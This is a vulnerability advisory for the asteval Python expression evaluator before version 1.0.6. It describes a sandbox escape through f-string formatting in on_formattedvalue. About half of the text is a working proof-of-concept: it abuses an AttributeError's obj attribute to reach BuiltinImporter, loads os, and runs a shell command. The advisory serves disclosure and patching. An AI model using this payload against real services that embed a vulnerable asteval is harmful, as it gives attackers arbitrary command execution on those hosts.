Exposed Dangerous Method or Function Affecting asteval package, versions [,1.0.6)

asteval is a Safe, minimalistic evaluator of python expression using ast module

Affected versions of this package are vulnerable to Exposed Dangerous Method or Function through the on_formattedvalue function. An attacker can manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val) to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.

from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
#     ga
    
def pwn():
    try:
        f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
    except Exception as ga:
        ga = ga.obj
        sub = ga(dict.mro()[1],"__subclasses__")()
        importer = None
        for i in sub:
            if "BuiltinImporter" in str(i):
                importer = i.load_module
                break
        os = importer("os")
        os.system("whoami")

# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
        
pwn()
"""
aeval(code)

• GitHub Commit
• Vulnerable Code